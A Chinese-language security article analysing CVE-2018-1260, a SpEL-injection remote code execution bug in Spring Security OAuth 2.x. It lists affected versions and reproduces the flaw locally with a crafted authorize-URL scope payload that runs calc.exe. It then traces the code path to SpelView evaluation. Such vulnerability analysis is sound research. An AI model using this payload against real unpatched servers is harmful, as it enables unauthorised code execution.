freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Spring Security OAuth2 远程代码执行漏洞分析(CVE-2018-1260)
Artio 2022-03-02 10:28:10 233815
所属地 北京

一:漏洞简介

在Spring Security OAuth 2.x老的版本中,恶意用户可以向授权服务器发起授权请求,当转发至授权审批终端(Approval Endpoint)时,会导致远程代码执行漏洞的攻击。

二:利用条件

1、被攻击端作为授权服务器时(如使用了注解)

2、使用了默认审批终端,或重写的审批终端逻辑中使用等对输出内容进行SPEL表达式解析

3、未配置Scopes

三:影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

四:漏洞复现

使用github上已有的demo:https://github.com/wanghongfei/spring-security-oauth2-example

Clone下来后导入idea待全部依赖下载完成。

然后修改cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java中的第67行为:

@Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
       clients.inMemory()
                .withClient("client")
                .authorizedGrantTypes("authorization_code")
                .scopes();
    }

然后根据github中的readme中的介绍操作数据库相关(包括:创建库、创建表、添加数据等等)

image

然后修改application.properties中的mysql数据库相关的信息。

image

然后启动环境并访问:

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

会重定向到登陆页面,随便输入用户名密码后点击登陆

image

触发payload:

image

五:漏洞分析

Spring Security OAuth在org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint对用户的认证请求进行处理,其中对应的URL是@RequestMapping({"/oauth/authorize"}),其中有一处关键的地方是在于this.oauth2RequestValidator.validateScope(authorizationRequest, client);,此代码是用于对用户传入的scope进行认证。通过动态分析来分析对scope的认证过程以及绕过方法。

image

跟踪进入到org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator:validateScope()方法中,代码如下:

image

调用的是DefaultOAuth2RequestValidator的私有validateScope()方法

其中的参数如下:

image

通过动态调试发现,requestScopes是传入的rce的payload,是${T(java.lang.Runtime).getRuntime().exec("calc.exe")}不为null,而clientScopes是我们在搭建环境时在OAuthSecurityConfig设置的,值为空。所以在这里我们就绕过了validateScope()的检测。

最后我们回到主函数@RequestMapping({"/oauth/authorize"})中,最终出现会进入到121行中的return this.getUserApprovalPageResponse(model, authorizationRequest, (Authentication)principal);中。跟踪getUserApprovalPageResponse()进入到org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint:getUserApprovalPageResponse()

image

当执行到new ModelAndView(this.userApprovalPage, model);时,此时的各项参数如下所示:

image

所以程序内部会跳转到forward:/oauth/confirm_access。

继续执行,执行到org.springframework.security.oauth2.provider.endpoint.WhitelabelApprovalEndpoint:getAccessConfirmation()。getAccessConfirmation()对forward:/oauth/confirm_access进行响应处理。

image

进入到创建模板函数createTemplate()中

image

其中model和request的参数信息如下:

image

根据参数信息,函数会执行到template = template.replace("%scopes%", this.createScopes(model, request)).replace("%denial%", "");,跟踪this.createScopes()进一步分析。

image

函数的工作很明确,获取到scopes的内容拼接成为字符串返回。最终得到的builder.toString()的结果是:

<ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>

返回到createTemplate()函数中,最终template()返回的结果是:

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${authorizationRequest.clientId}' to access your protected resources?</p><form id='confirmationForm' name='confirmationForm' action='${path}/oauth/authorize' method='post'><input name='user_oauth_approval' value='true' type='hidden'/><input type='hidden' name='${_csrf.parameterName}' value='${_csrf.token}' /><ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul><label><input name='authorize' value='Authorize' type='submit'/></label></form></body></html>

可以看到在template模板中已经携带有我们的payload,scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

执行完createTemplate()函数之后,程序回到getAccessConfirmation()中,程序最后执行到return new ModelAndView(new SpelView(template), model);

image

进入到new SpelView(template)中,new SpelView()会对template中的spel表达式解释执行最终造成rce。

image

Expression expression = SpelView.this.parser.parseExpression(name);会对template中的内容进行解析包括scope,最终造成rce。

image

六:参考链接

https://blog.spoock.com/2018/05/13/cve-2018-1260/

七:个人github

https://artio-li.github.io/

# web安全 # 漏洞分析 # java # 网络安全技术
本文为 Artio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Artio LV.4
这家伙太懒了,还未填写个人描述!
  • 14 文章数
  • 3 关注者
利用CDN进行攻击以及检测思路
2025-01-06
CSDN挂马事件及其检测思路
2025-01-02
浅谈DNS重绑定攻击
2023-05-19
文章目录